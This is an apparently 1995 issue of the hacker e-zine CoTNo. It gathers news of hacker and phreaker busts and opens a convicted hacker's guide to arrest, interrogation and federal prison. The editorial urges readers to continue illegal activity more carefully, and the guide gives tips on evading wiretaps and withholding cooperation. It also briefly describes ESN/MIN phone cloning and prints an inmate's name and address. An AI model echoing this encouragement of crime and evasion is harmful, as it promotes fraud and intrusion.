User to User [214] (Sysop: William Pendergast)
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"PHILLY 2600 MEETING"
|
|||
|
|
|
|||
|
|
From recent posts and word of mouth, the Philadelphia 2600 meetings are
|
|||
|
|
having a hard time making it past 5 minutes. Apparently, local police in
|
|||
|
|
coordination with mall rent-a-cops [joining of forces there], are kicking
|
|||
|
|
hackers and phreakers out of their meeting place based on charges of
|
|||
|
|
loitering and conspiracy [to do what?! Assemble?]. Currently, police
|
|||
|
|
are threatening to break up meetings, and/or jail participants for the
|
|||
|
|
two reasons cited above.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"FEDZ BUST KID IN MINNESOTA"
|
|||
|
|
|
|||
|
|
November '94, a 15 year old in Minnesota had a pleasant visit by
|
|||
|
|
federal agents. According to newspaper articles, the boy [unnamed
|
|||
|
|
in the article] was basing his hacks out of the Detroit Free-Net.
|
|||
|
|
"He used passwords to gain access to more than 10 computer networks
|
|||
|
|
from Detroit to Moscow". During his time on the Detroit Free-Net,
|
|||
|
|
he was said to have maliciously disabled enough of the system 'forcing'
|
|||
|
|
it to shut down.
|
|||
|
|
Currently, the boy is facing potential charges for using
|
|||
|
|
telecommunications devices to cross state lines, and felony charges
|
|||
|
|
for breaking into computer systems.
|
|||
|
|
|
|||
|
|
Other favorite quotes from the articles about this case:
|
|||
|
|
"...hospitalized, possibly for psychological reasons, when police
|
|||
|
|
confiscated his computer modem and software programs Monday."
|
|||
|
|
|
|||
|
|
"...said the boy appeared to fit the typical hacker profile: a
|
|||
|
|
15- to 20-year-old male, many who have low self-esteem. 'He really
|
|||
|
|
could use a girlfriend instead of a computer' Grewe said."
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"THE TROUBLES OF BERNIE S."
|
|||
|
|
|
|||
|
|
Recently, a lot of press has been covering the story of 'Bernie S'.
|
|||
|
|
You can find more info about his bust on alt.2600 as well as several
|
|||
|
|
'hacker' mailing lists. Here are some of the interesting quotes from
|
|||
|
|
one of those articles:
|
|||
|
|
|
|||
|
|
"Ed Cummings, also known to many in cyberspace as Bernie SS was arrested
|
|||
|
|
on March 13th, 1995 for 2 misdemeanors of possession, manufacture and sale
|
|||
|
|
of a device to commit Telecommunications fraud charges. He is being held in
|
|||
|
|
Delaware County Prison in lieu of $100,000.00 Bail."
|
|||
|
|
His arrest took place at a local 7-11 where *15* police cars pulled
|
|||
|
|
into the parking lot. During the interaction with the officer, he told
|
|||
|
|
them 'no, you can't search my car', yet minutes later, he noticed
|
|||
|
|
an officer going through the contents of his car. Despite his protests,
|
|||
|
|
the officer removed several timing crystals, tone dialers, and a 'broken
|
|||
|
|
red box'.
|
|||
|
|
The following day, Bernie was at a friend's house when '8 to 10' plain
|
|||
|
|
clothed armed men burst into the house yelling 'freeze'. Minutes later
|
|||
|
|
he was being taken to jail in cuffs. He was not formally charged until
|
|||
|
|
his arraignment where his bail was set to 100,000 dollars because he
|
|||
|
|
refused to talk with the police without counsel present.
|
|||
|
|
"The Judge dropped the two unlawful use of a computer charges due to
|
|||
|
|
the fact that the evidence was circumstantial and the county had no actual
|
|||
|
|
evidence that Ed had ever used the computers in question. As of 3/27/1995
|
|||
|
|
Ed Cummings is still in Delaware County Prison awaiting his trial."
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"RUSSIANS ARREST 6 IN COMPUTER THEFTS"
|
|||
|
|
|
|||
|
|
This article was taken from the Associated Press, Saturday Dec 24 1994
|
|||
|
|
|
|||
|
|
St. Petersburg, Russia, Sept 26 (AP) -- Russian police
|
|||
|
|
officers have arrested six more people in a $10 million
|
|||
|
|
computer theft from Citibank here, but the masterminds are
|
|||
|
|
said to remain at large.
|
|||
|
|
|
|||
|
|
Several people have been arrested abroad and face charges
|
|||
|
|
in the United States, including Vladimir Levin, 28,
|
|||
|
|
reportedly the group's computer hacker.
|
|||
|
|
|
|||
|
|
Citibank officials said they recovered all but $400,000 and
|
|||
|
|
upgraded the cash-management systems's electronic security
|
|||
|
|
after the theft.
|
|||
|
|
|
|||
|
|
|
|||
|
|
FT, Sept 21, 1995.
|
|||
|
|
|
|||
|
|
Extradition in Citibank hacking case
|
|||
|
|
|
|||
|
|
A British court yesterday approved the extradition to the
|
|||
|
|
US of Mr Vladimir Levin, the Russian science graduate
|
|||
|
|
accused of an attempted $10m (6.5m pounds) computer hacking
|
|||
|
|
fraud on Citibank. ...
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"PURPLE CONDOM CAUSES TROUBLE"
|
|||
|
|
|
|||
|
|
Purpcon recently had pleasant meetings with his Dean where he attends
|
|||
|
|
college after getting caught rewriting his magnetic student ID, so
|
|||
|
|
that others would get charged for his meal. :)
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"CoTNo RUMORS"
|
|||
|
|
|
|||
|
|
In past issues of CoTNo we have always said 'good luck to' people
|
|||
|
|
that have been busted (or said to have been busted)..
|
|||
|
|
|
|||
|
|
Deathstar, AntiChrist (school admins?), Coaxial Mayhem,
|
|||
|
|
Maestro (Blueboxing?), Lucifer (still in jail?), Grappler (hacking),
|
|||
|
|
Jimbo (MCI Calling Card Fraud), Maelstrom, and Datastream Cowboy (hello
|
|||
|
|
CIA spooks), Merc, Crypt Keeper (keep reading), 602 crowd, and the 513 crowd.
|
|||
|
|
|
|||
|
|
At the request of some of the above, I can't go into details on their busts.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"JOHN FALCON BUSTS"
|
|||
|
|
|
|||
|
|
Since rumors about his bust have been running rampant on the 'Net',
|
|||
|
|
here are the facts about the bust... for more info, and JF's reply
|
|||
|
|
to the rumors, read CoTNo 5.
|
|||
|
|
|
|||
|
|
Common myths of my arrest:
|
|||
|
|
|
|||
|
|
1 - The FBI/NSA cracked my hard drive and read all my encrypted mail.
|
|||
|
|
2 - Mr. Falcon left his secring.pgp on his system.
|
|||
|
|
3 - FBI/NSA read the RSA encrypted data.
|
|||
|
|
4 - My conviction was because I was a hacker.
|
|||
|
|
|
|||
|
|
Let me go over my conviction:
|
|||
|
|
|
|||
|
|
Count 1: Theft of Government Property - How they caught me: Narc
|
|||
|
|
Count 2: Fraudulent use of an Access Device - How they caught me: Narc
|
|||
|
|
Count 3: Fraudulent use of a Computer - How they caught me: questionable
|
|||
|
|
Count 4: Fraudulent use of an Access Device - How they caught me: Narc
|
|||
|
|
|
|||
|
|
If you would like to get in contact with JF, here is his info:
|
|||
|
|
email: jfalcon@ice_bbs.alaska.net
|
|||
|
|
snailmail: Don Fanning
|
|||
|
|
#12617-006
|
|||
|
|
3600 Guard Road
|
|||
|
|
Lompoc, CA 93436
|
|||
|
|
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"EPSILON, DAMIEN, SHOCKWAVE (303)"
|
|||
|
|
|
|||
|
|
From CoTNo 3 (Read there for full story)
|
|||
|
|
|
|||
|
|
Three Colorado teen-agers are suspected of setting up an elaborate computer-
|
|||
|
|
hacking system that tapped into a long-distance telephone company and stole
|
|||
|
|
secret access codes (k0dez!).
|
|||
|
|
|
|||
|
|
Police arrested Kevin Wilson (Damian), 18, of the 7400 block of South Gallup
|
|||
|
|
Street in Littleton, and two juveniles (Epsilon and Shockwave) from Jefferson
|
|||
|
|
County in the alleged scheme.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"INTERVIEW WITH A CRYPTKEEPER"
|
|||
|
|
|
|||
|
|
ck: I only got busted last February (1994) for hacking
|
|||
|
|
|
|||
|
|
dis: I heard you got hit twice.. once last year, and once a lot more
|
|||
|
|
+recently..
|
|||
|
|
|
|||
|
|
CK: nope, I moved, I didn't get busted. I only got busted last year,
|
|||
|
|
once, that's it. And it wasn't real serious.. not like cellphone/money
|
|||
|
|
laundering..just some inet hacking. I got busted for hacking the
|
|||
|
|
University of Cincinnati and a few other things on the net.. they
|
|||
|
|
traced me through a PBX.. they were serious. They thought I was
|
|||
|
|
a spy. they were pissed to find out I was just a 16 year old.
|
|||
|
|
|
|||
|
|
dis: hmm... bad.. did they just search/seize or what?
|
|||
|
|
|
|||
|
|
ck: search/seized my computer.. I eventually got most of my stuff back
|
|||
|
|
(the computer, monitor, and keyboard) and had to spend 10 days in
|
|||
|
|
juvenile thats about it. oh.. and a big pain in the ass too of
|
|||
|
|
course not bad at all..
|
|||
|
|
|
|||
|
|
dis: anything else?
|
|||
|
|
|
|||
|
|
ck: and tell them I was only busted ONCE, and it wasn't all that serious.
|
|||
|
|
I don't have any plans to get back into the scene (it sux now), but
|
|||
|
|
I do enjoy hearing about it sometimes.
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"FEDZ CATCHING ON TO CALLING CARD SKAMS"
|
|||
|
|
|
|||
|
|
A $50 million telephone calling-card theft ring disclosed
|
|||
|
|
earlier this week by federal investigators is representative of the advanced
|
|||
|
|
types of scams that have emerged in the last two years as telephone companies
|
|||
|
|
have become better at ferreting out fraud.
|
|||
|
|
|
|||
|
|
The Secret Service said Ivy James Lay, a switch engineer at MCI's network
|
|||
|
|
center in Charlotte, N.C., stole over 60,000 calling card numbers from MCI
|
|||
|
|
and other long distance companies, later selling them to 'band of computer
|
|||
|
|
hackers.' The estimated value of the cards lies near $50 million. The
|
|||
|
|
Secret Service (which investigates fraud like this) claims this to be the
|
|||
|
|
largest case of calling card theft to date.
|
|||
|
|
|
|||
|
|
=-=-=
|
|||
|
|
|
|||
|
|
"SOME OF THE INTERESTING FACTS FROM A NEWSPAPER ARTICLE"
|
|||
|
|
|
|||
|
|
Two computer hackers have been sentenced to fed. prison and an accomplice in
|
|||
|
|
Mn. awaits sentencing for his part in an international phone conspiracy.
|
|||
|
|
Ivey James Lay of Haw River, N.C., and Frank Ronald Stanton of Cary, N.C.,
|
|||
|
|
were part of a hacker ring that stole credit-card numbers from MCI's
|
|||
|
|
Computer terminal in Greensboro. A third member of the ring, Leroy James
|
|||
|
|
Anderson, of Minneapolis pleaded guilty Friday in Minnesota to federal
|
|||
|
|
copyright violations.
|
|||
|
|
|
|||
|
|
US District Court Judge James Beaty on Fri. sentenced Lay to tree years
|
|||
|
|
and two months in prison. Stanton, a 22-year-old student at Wingate College,
|
|||
|
|
was sentenced to one year. Anderson's sentencing is expected this summer.
|
|||
|
|
|
|||
|
|
The conspiracy stretched into several European countries and cost long-
|
|||
|
|
distance carriers more than $28 millon, authorities said.
|
|||
|
|
|
|||
|
|
Lay and Stanton pleaded guilty in Jan. to charges of fraud and trafficking
|
|||
|
|
in unauthorized access devices. The group bought and sold at least 50,000
|
|||
|
|
numbers from 1992 until the summer of 1994, according to court documents.
|
|||
|
|
|
|||
|
|
"What I did was very stupid," Stanton told Judge Beaty at his sentencing.
|
|||
|
|
"I'd like to go back and finish college."
|
|||
|
|
|
|||
|
|
=-=-=
|
|||
|
|
|
|||
|
|
"SHOCKER[303] GETS NAILED FOR CC'S"
|
|||
|
|
|
|||
|
|
Damn, I got busted w/an illegal line tap! FUCK. No jail, just major phone
|
|||
|
|
bills! They are gunna try to bust me w/Credit Card fraud too. I shoulda
|
|||
|
|
listened to you. Fuck me. Got my mac taken away, I am writing this from a
|
|||
|
|
friends, I am not supposed to be here either, but hell, I got everything taken
|
|||
|
|
away, life sux shit, so do the gawd damn cops. Anyways, um, I'll see what
|
|||
|
|
happens, I'll call you sometime if I can get to the phone w/out my parents
|
|||
|
|
knowing. I can't have anything back until I pay for this shit, I think it is
|
|||
|
|
between $400 and $500, not sure, I already paid $170, but then I hafta
|
|||
|
|
fucking pay for MY PARENTS phone bill too, I rung the fuck outta that too. I
|
|||
|
|
got like, a felony and a second degree misdemeanor for that shit, they
|
|||
|
|
will drop the felony to a misdemeanor tho, I got charged with 'Theft' (felony)
|
|||
|
|
and criminal tampering (2nd degree misd.) SHIT TO HELL! Damnit. Anys, um, I'll
|
|||
|
|
see ya ok? Bye..
|
|||
|
|
|
|||
|
|
=-=-=
|
|||
|
|
|
|||
|
|
"NYHE RUMORS"
|
|||
|
|
|
|||
|
|
The New York Hack Exchange got busted for scams and cellfonez...
|
|||
|
|
|
|||
|
|
(Someone mail me with more than a rumor please)
|
|||
|
|
|
|||
|
|
=-=-=
|
|||
|
|
|
|||
|
|
"WAREZ BOARD BUSTS AROUND THE COUNTRY"
|
|||
|
|
|
|||
|
|
Bad Sector [BUSTED!]
|
|||
|
|
Beyond Corruption [BUSTED!]
|
|||
|
|
Jurrasic Park [BUSTED!]
|
|||
|
|
Lineup [BUSTED!]
|
|||
|
|
Main Frame [BUSTED!]
|
|||
|
|
Necronomicon [BUSTED!]
|
|||
|
|
No BBS [BUSTED!]
|
|||
|
|
The Notice [BUSTED!]
|
|||
|
|
On The World [BUSTED!]
|
|||
|
|
Perfect Crime [BUSTED!]
|
|||
|
|
Red Alert [BUSTED!]
|
|||
|
|
Restricted Area [BUSTED!]
|
|||
|
|
Rubbish Heap [BUSTED!]
|
|||
|
|
Skull Island [BUSTED!]
|
|||
|
|
Twins [BUSTED!]
|
|||
|
|
The Underworld [BUSTED!]
|
|||
|
|
Wolf Pack [BUSTED!]
|
|||
|
|
|
|||
|
|
15 Arrests
|
|||
|
|
75 RCMP Officers Involved
|
|||
|
|
Removed at least 11 BBSs in one day
|
|||
|
|
Seized more than $200,000 in computer hardware
|
|||
|
|
Operation/Investigation lasted 6 months to 1 year
|
|||
|
|
April 12, 1995
|
|||
|
|
Busts are localized in Montreal
|
|||
|
|
514 NPA
|
|||
|
|
|
|||
|
|
=-=-=
|
|||
|
|
|
|||
|
|
"DUTCH HACKER ARRESTED"
|
|||
|
|
|
|||
|
|
(from CUD 7.21):
|
|||
|
|
|
|||
|
|
--------------Original message----------------
|
|||
|
|
|
|||
|
|
UTRECHT, THE NETHERLANDS, 1995 MAR 6 (NB) -- A Dutch student has
|
|||
|
|
become the first person to be convicted of computer hacking in the
|
|||
|
|
Netherlands. Ronald Oosteveen, a 22 year old Utrecht computer science
|
|||
|
|
student, was handed down a six month suspended sentence by
|
|||
|
|
magistrates last week, and was fined around $3,200
|
|||
|
|
|
|||
|
|
Oosteveen was accused of breaking into university, corporate and
|
|||
|
|
government computers, following his arrested in March, 1993, just
|
|||
|
|
three weeks after new Dutch anti-hacking legislation came into force.
|
|||
|
|
|
|||
|
|
Oosteveen was caught in the act of trying to hack into the computer
|
|||
|
|
lines of a technical university in Delft near The Hague. He is also
|
|||
|
|
thought to have been responsible for previous hacking attacks which
|
|||
|
|
occurred before the new legislation came into force.
|
|||
|
|
|
|||
|
|
=-=-=
|
|||
|
|
|
|||
|
|
"THE EAST COAST"
|
|||
|
|
|
|||
|
|
Tabas and Others Bust:
|
|||
|
|
|
|||
|
|
According to Gatsby, the following were busted: Himself, Mark Tabas
|
|||
|
|
KC, Dispater, St. Elmos, Zibby, Rudy, Dr Delam, and Phantom Phreaker.
|
|||
|
|
|
|||
|
|
(When I talked to him, he wasn't able to say much since it was the day
|
|||
|
|
after the bust)
|
|||
|
|
|
|||
|
|
From empire Times:
|
|||
|
|
February 22, 1995
|
|||
|
|
|
|||
|
|
One thing all the people have in common: Southwestern Bell - or at the very
|
|||
|
|
least, the desire and ability to hack all the switches on the west coast.
|
|||
|
|
|
|||
|
|
According to those involved, it goes way beyond switches...
|
|||
|
|
|
|||
|
|
=-=-=
|
|||
|
|
|
|||
|
|
"THE LAMACCHIA CASE"
|
|||
|
|
|
|||
|
|
April 94:
|
|||
|
|
|
|||
|
|
BOSTON, MA ...A federal grand jury returned a felony indictment today
|
|||
|
|
charging an MIT student in a computer fraud scheme resulting in the piracy of
|
|||
|
|
an estimated million dollars in business and entertainment computer software.
|
|||
|
|
|
|||
|
|
United States Attorney Donald K. Stern and FBI Special Agent In
|
|||
|
|
Charge Richard Swenson announced today that DAVID LAMACCHIA, age 20,
|
|||
|
|
currently a junior at the Massachusetts Institute of Technology, was charged
|
|||
|
|
in a one count felony indictment with conspiring to commit wire fraud. The
|
|||
|
|
indictment charges that between November 21, 1993 and January 5, 1994
|
|||
|
|
LAMACCHIA operated a computer bulletin board service that permitted users
|
|||
|
|
to copy copyrighted business and entertainment software without paying to
|
|||
|
|
purchase the software. The bulletin board was operated without authorization
|
|||
|
|
on MIT computer work stations and was accessible to users worldwide over the
|
|||
|
|
Internet... [Losses] are estimated to exceed a million dollars. [bahaha]
|
|||
|
|
|
|||
|
|
=-=-=
|
|||
|
|
|
|||
|
|
"BRITISH CALLING CARD BUST"
|
|||
|
|
|
|||
|
|
British students have taken part in an alleged <20>65m computer fraud,
|
|||
|
|
involving the electronic theft of cards that allow users to make free
|
|||
|
|
telephone calls around the world.
|
|||
|
|
|
|||
|
|
The hackers, one of whom was only 17 years old, were said to be earning
|
|||
|
|
thousands of pounds a month selling cards... Police found one teenager
|
|||
|
|
driving a new <20>20,000 car and with computer equipment worth <20>29,000 in his
|
|||
|
|
bedroom.
|
|||
|
|
|
|||
|
|
AT&T officials also found a computer noticeboard called "Living Chaos"
|
|||
|
|
that was being used to sell the cards for up to <20>30 each. It mentioned
|
|||
|
|
Andy Gaspard, an employee of the Cleartel telephone company in
|
|||
|
|
Washington, whose home was raided. "We found 61,500 stolen cards ready
|
|||
|
|
to be sent to Britain," said Eric Watley, a secret service agent in the city.
|
|||
|
|
|
|||
|
|
(The Sunday Times, 12 February 1995)
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
"TNO BUST OF 1994 - NEW NEWS"
|
|||
|
|
|
|||
|
|
(my comments in [ ])
|
|||
|
|
|
|||
|
|
ROCKY MOUNTAIN NEWS
|
|||
|
|
(Front Page Headline) COMPUTER-CRIME RING CRACKED (Monday June 19, 1995)
|
|||
|
|
Quartet accused of hacking into Arapahoe college's system,
|
|||
|
|
inciting illegal acts.
|
|||
|
|
|
|||
|
|
---------------------------------------------------------------------------
|
|||
|
|
(Fourth Page Article) 4 ACCUSED IN COMPUTER HACKING CASE (By Marlys Duran)
|
|||
|
|
Suspects used equipment at college to incite criminal acts, officials say.
|
|||
|
|
|
|||
|
|
Arapahoe County - Hackers calling themselves "The New Order" [Look Ma!]
|
|||
|
|
allegedly gained access to the Arapahoe Community College computer and
|
|||
|
|
used it to distribute tips on how to commit crimes.
|
|||
|
|
One man operated a computer bulletin board on which contributors
|
|||
|
|
from throughout the world exchanged how-to information on crimes ranging
|
|||
|
|
from credit-card fraud to high-tech burglary, authorities said. [Of course
|
|||
|
|
they fail to make that distinguishing gap that this board was NOT run off
|
|||
|
|
the Arapahoe system, and that it was a private BBS run out of his house]
|
|||
|
|
Computers were seized from the homes of four hackers, ranging in
|
|||
|
|
age from 15 to 21. Secret Service experts were called in to help crack
|
|||
|
|
the computer files. ['type filename.txt' is hard to crack eh?]
|
|||
|
|
Investigators found software for breaking passwords, lists of
|
|||
|
|
private passwords for several computer systems, instructions for cellular
|
|||
|
|
telephone fraud, private credit reports [Plural? Nope], lists of credit-card
|
|||
|
|
numbers and electronic manuals on how to make bombs and illegal drugs.
|
|||
|
|
[Yes, WE did the oklahoma bombing!@$!]
|
|||
|
|
In a 97-page affidavit detailing the 18-month investigation,
|
|||
|
|
investigator John Davis of the Arapahoe district attorney's office said
|
|||
|
|
that the hackers "operate with an attitude of indifference to the rights
|
|||
|
|
and privacy of others and have made efforts to teach and involve others in
|
|||
|
|
their criminal enterprise." [What the fuck does the government do everyday?]
|
|||
|
|
At the home of a Denver juvenile, authorities found hazardous
|
|||
|
|
chemicals and a book on how to make bombs.
|
|||
|
|
Nicholas Papadenis, 21, of Broomfield, and John Patrick Jackson, 19,
|
|||
|
|
of Thornton, were charged last month with committing computer crimes and
|
|||
|
|
conspiracy. Both are scheduled to appear in Arapahoe County Court on July
|
|||
|
|
5.
|
|||
|
|
A decision is pending on whether to charge a 15-year-old Highlands
|
|||
|
|
Ranch youth and a 17-year-old Denver resident, chief deputy district
|
|||
|
|
attorney John Jordan said Friday.
|
|||
|
|
The affidavit says Papadenis, Jackson, and the youths hacked into
|
|||
|
|
the Arapahoe County Community College computer system, then used it to
|
|||
|
|
illegally distribute copyrighted computer games [Sorry, TNo doesn't have
|
|||
|
|
a warez division yet] and electronic magazines promoting fraud, theft,
|
|||
|
|
burglary and money-laundering.
|
|||
|
|
One of the magazines stated, "This publication contains information
|
|||
|
|
pertaining to illegal acts. The use of this information is intended solely
|
|||
|
|
for evil purposes." [Source: CoTNo 1!@#!@]
|
|||
|
|
Court documents do not indicate the hackers had political motives,
|
|||
|
|
and authorities declined to comment on the case. [Hackers with political
|
|||
|
|
motives would be way above their head.]
|
|||
|
|
A Denver University expert said computer criminals usually are not
|
|||
|
|
motivated by ideology. They usually are young people who are "doing it for
|
|||
|
|
the sheer challenge of it - just to demonstrate that they're able to do it,"
|
|||
|
|
said Don McCubbery, director for the center on electronic commerce at DU.
|
|||
|
|
McCubbery estimates that authorities learn of only 5% of computer
|
|||
|
|
crimes. He said computer security experts generally have difficulty
|
|||
|
|
keeping up with the hackers. [No shit]
|
|||
|
|
|
|||
|
|
-----------------------------------------------
|
|||
|
|
(Side note box) THE NEW ORDER (Bullet listing)
|
|||
|
|
|
|||
|
|
Some accusations listed in court documents concerning The New Order group
|
|||
|
|
of computer hackers:
|
|||
|
|
- A hacker from the United Kingdom offered suspect John Jackson
|
|||
|
|
a VISA card number with a $300,000 credit limit. [Tacos anyone?]
|
|||
|
|
- A computer seized from a Highlands Ranch home contained password
|
|||
|
|
files for computer systems at the University of Colorado
|
|||
|
|
at Boulder.
|
|||
|
|
- A note found in Jackson's home indicated his plans to hack into
|
|||
|
|
the Thornton Police Department computer. [Yes, they believe
|
|||
|
|
everything they read]
|
|||
|
|
- Jackson also had a computer file containing access information
|
|||
|
|
for Taco Bell and McDonald's computers. [There goes national
|
|||
|
|
security!]
|
|||
|
|
|
|||
|
|
=-=
|
|||
|
|
|
|||
|
|
That is all for now. Not a good year by any means as you can tell,
|
|||
|
|
especially considering who else may have been busted, that we didn't hear
|
|||
|
|
about. Don't stop what you are doing though, just be more careful of
|
|||
|
|
your activities. YOU are right, THEY are wrong.
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
What Happens When You Get Caught
|
|||
|
|
--------------------------------
|
|||
|
|
[A.K.A The Hackers Guide to the Law and Prisons]
|
|||
|
|
|
|||
|
|
by
|
|||
|
|
|
|||
|
|
D. Fanning - A.K.A. John Falcon/Renegade - TNO
|
|||
|
|
|
|||
|
|
|
|||
|
|
Well if you are reading this, that means you are either curious or shit
|
|||
|
|
happened and the law reared it's ugly head and they nabbed you. Now what
|
|||
|
|
you are about to read is absolutely fucking true. Why is this? Because I
|
|||
|
|
am spending the next year or so in prison for hacking. Now needless to
|
|||
|
|
say, I have already announced my retirement from the scene, but I still
|
|||
|
|
wanted to write and rant and rave about all the things that happen in this
|
|||
|
|
world and to clue you in on a quite a few things.
|
|||
|
|
|
|||
|
|
Let's start with the ground rules:
|
|||
|
|
|
|||
|
|
1. You cannot make a deal with a cop. So when they start reading Miranda
|
|||
|
|
rights, keep silent or just ask inconspicuous questions like "Where are we
|
|||
|
|
going?", or the common ne, "What's going on here? Why am I being charged?"
|
|||
|
|
|
|||
|
|
Only a D.A. or someone in the lawyer capacity can make a deal. If a
|
|||
|
|
cop offers a deal, you are still going to get charged. Cops cannot
|
|||
|
|
make any exceptions on anyone. So drop all ideas of such.
|
|||
|
|
|
|||
|
|
2. Do not narc on anyone when the questioning starts. Your best bet would
|
|||
|
|
be to just stay silent till the lawyer shows up or something. Why?
|
|||
|
|
Questioning wouldn't be done unless there were gaps in their
|
|||
|
|
investigation. What you want is as many of those as possible. The
|
|||
|
|
more you have, the better it will be when plea bargaining starts up.
|
|||
|
|
At the very least though, lets say the they do convict you, the feds
|
|||
|
|
and the court find you guilty or you plea that way and you are thrown
|
|||
|
|
into the clink. Guess who does your admissions paperwork? You guessed
|
|||
|
|
it, the inmates. Word has a way of coming around to dealing or giving
|
|||
|
|
a very wide berth to those who do the narc thing Key idea: "If you
|
|||
|
|
fall, don't bring others down too. It just adds to the load on you."
|
|||
|
|
|
|||
|
|
3. During questioning, they will put on a lot of plays to make you talk,
|
|||
|
|
they will offer you something to drink or something to make you feel
|
|||
|
|
more comfortable. Well why not? Spend 60 cents and get your work done
|
|||
|
|
for you by a confession. Makes things nice and neat. Don't fall for
|
|||
|
|
it. If you are thirsty, accept the drink and don't tell them shit.
|
|||
|
|
|
|||
|
|
4. They will also do some kind of powerplay on you. They try to make you
|
|||
|
|
think that they are doing you a favor, but in reality, you are digging
|
|||
|
|
a deeper hole for yourself.
|
|||
|
|
|
|||
|
|
5. The idea of you being innocent until proven guilty has gone the way of
|
|||
|
|
the do-do bird. When a jury sees you, the first thought that comes to
|
|||
|
|
mind is not if you are guilty or not, the question is HOW guilty you
|
|||
|
|
are. The way they see it, if you are not guilty, what are you doing
|
|||
|
|
in front of them in the first place? The O.J. Simpson trial is a
|
|||
|
|
perfect example. Also, look how many cop shows are around the box.
|
|||
|
|
That right there is a disgrace in my book. First they have you on
|
|||
|
|
film, second they pat each other on the back while you are in
|
|||
|
|
misery. Sick.
|
|||
|
|
|
|||
|
|
Well on with the show. If they have already done an investigation on you
|
|||
|
|
and you don't hear from them in a while, the first natural reaction would
|
|||
|
|
be to relax and let your guard down. WRONG ANSWER! That means that some
|
|||
|
|
shit is really going to go down. You should be extra careful and not
|
|||
|
|
talk about it to anyone. Most likely they are looking for more evidence
|
|||
|
|
to make it harder on you in the long run, like a wiretap. In the federal
|
|||
|
|
system, all you need is one person's permission to record a phone call.
|
|||
|
|
If you have to talk about it, use face to face contact and pat each other
|
|||
|
|
down to make sure there is no bug. For instance, when I was arrested I made
|
|||
|
|
a fatal mistake and talked about it to one of the co-defendants and he
|
|||
|
|
had cut a deal with the D.A. already. My bacon was cooked when I heard
|
|||
|
|
my voice on a tape recording.
|
|||
|
|
|
|||
|
|
Well no matter what happens, sooner or later you will get nabbed so I won't
|
|||
|
|
get into the details of this. All I can suggest is that you really do
|
|||
|
|
what ever you can to get a real attorney. P.D.'s are good for some
|
|||
|
|
things but they get their paycheck from the same place that nabbed you in
|
|||
|
|
the first place so don't let that fool you too much. I will admit that
|
|||
|
|
it is better than nothing though.
|
|||
|
|
|
|||
|
|
Most likely for the computer hackers out there, they will charge you
|
|||
|
|
under 18-USC-1029 which is Fraudulent or Counterfeit use of an Access
|
|||
|
|
Device. This charge was mainly intended for credit cards but the D.A.'s
|
|||
|
|
have taken it to just about everything that involves computers or
|
|||
|
|
communications in general.
|
|||
|
|
|
|||
|
|
Now there are some landmark cases that have beat this into the ground.
|
|||
|
|
One of them being U.S. vs Brady which was a guy making satellite decoders
|
|||
|
|
with the stops pulled out of them. He beat this due to the ruling that
|
|||
|
|
the signal was out there everywhere and that he merely just decoded the
|
|||
|
|
signal. Therefore there was no actual loss, just potential loss which
|
|||
|
|
doesn't count. Another one is U.S. vs McNutt in the 10th Circuit of
|
|||
|
|
Utah. This guy made chips for cellular phones that would send different
|
|||
|
|
ESN/MIN pairs to the cell site that made it always seem like a new roamer
|
|||
|
|
every time he calls. The cell site just goes ahead and gives him the call
|
|||
|
|
because it doesn't have time to verify if it is a valid MIN/ESN pair. He
|
|||
|
|
won the case due to the same fact that there were no accountable loss
|
|||
|
|
because it never used or really billed any legit customer.
|
|||
|
|
|
|||
|
|
The flip side of that is being two weeks ago from when this was written,
|
|||
|
|
a guy was tried in LA for the exact same thing and was found guilty,
|
|||
|
|
appealed the case, won the appeal, then the government re-appealed it and
|
|||
|
|
he lost again. This caused a split in the court circuits which means
|
|||
|
|
that this will got the Supreme Court.
|
|||
|
|
|
|||
|
|
Remember that the government or any government agency will not press any
|
|||
|
|
issue unless there is some kind of financial deal behind it because they
|
|||
|
|
are wasting time and resources on you when they can be getting Joe Blow
|
|||
|
|
Cartel Drug Dealer.
|
|||
|
|
|
|||
|
|
So they find you guilty or you plea. The next step is the Pre-Sentence
|
|||
|
|
Investigation. They basically take a fine tooth comb and find any dirt
|
|||
|
|
about you that they can. You will be amazed about all the things they
|
|||
|
|
can do to make you seem like a threat to society, the American way of
|
|||
|
|
life, apple pie and all... All you can do is make sure or try your
|
|||
|
|
hardest to make it clean as possible. Now I got ripped hard on mine due
|
|||
|
|
to very strained relations with one of my parents and they managed to
|
|||
|
|
throw everything that anyone had ever said about me together to make it
|
|||
|
|
look like I was truly evil. That is where the cops will come back and
|
|||
|
|
haunt you because everything you say will be in that report. Every
|
|||
|
|
little action and all will be written with a slant of a cop. (Needless to
|
|||
|
|
say who writes the report kids... The U.S. Probation Office, a branch of
|
|||
|
|
the Secret Service and the F.B.I.)
|
|||
|
|
|
|||
|
|
Well you are convicted and here you are. Depending on where you live,
|
|||
|
|
you will either be bussed/vanned to the prison where they choose for
|
|||
|
|
you or they will fly you there. After you are sentenced you now belong
|
|||
|
|
to the Bureau of Prisons (A D.O.J. branch). Basically you will be taken
|
|||
|
|
to a county jail for holding while they classify you and then you get
|
|||
|
|
transported out. When I was transported out, I was in shackles and all
|
|||
|
|
taking a ride on Fed Air. The USM's have a fleet of 737's they confiscated
|
|||
|
|
from drug busts and converted them into their own use. You are basically
|
|||
|
|
bussed out to a unused or empty part of the airport and with a large ring of
|
|||
|
|
USM's with shotguns in their hand, you get put onto an airplane and given a
|
|||
|
|
box lunch and off you go. I went from Portland to Sacramento to Phoenix
|
|||
|
|
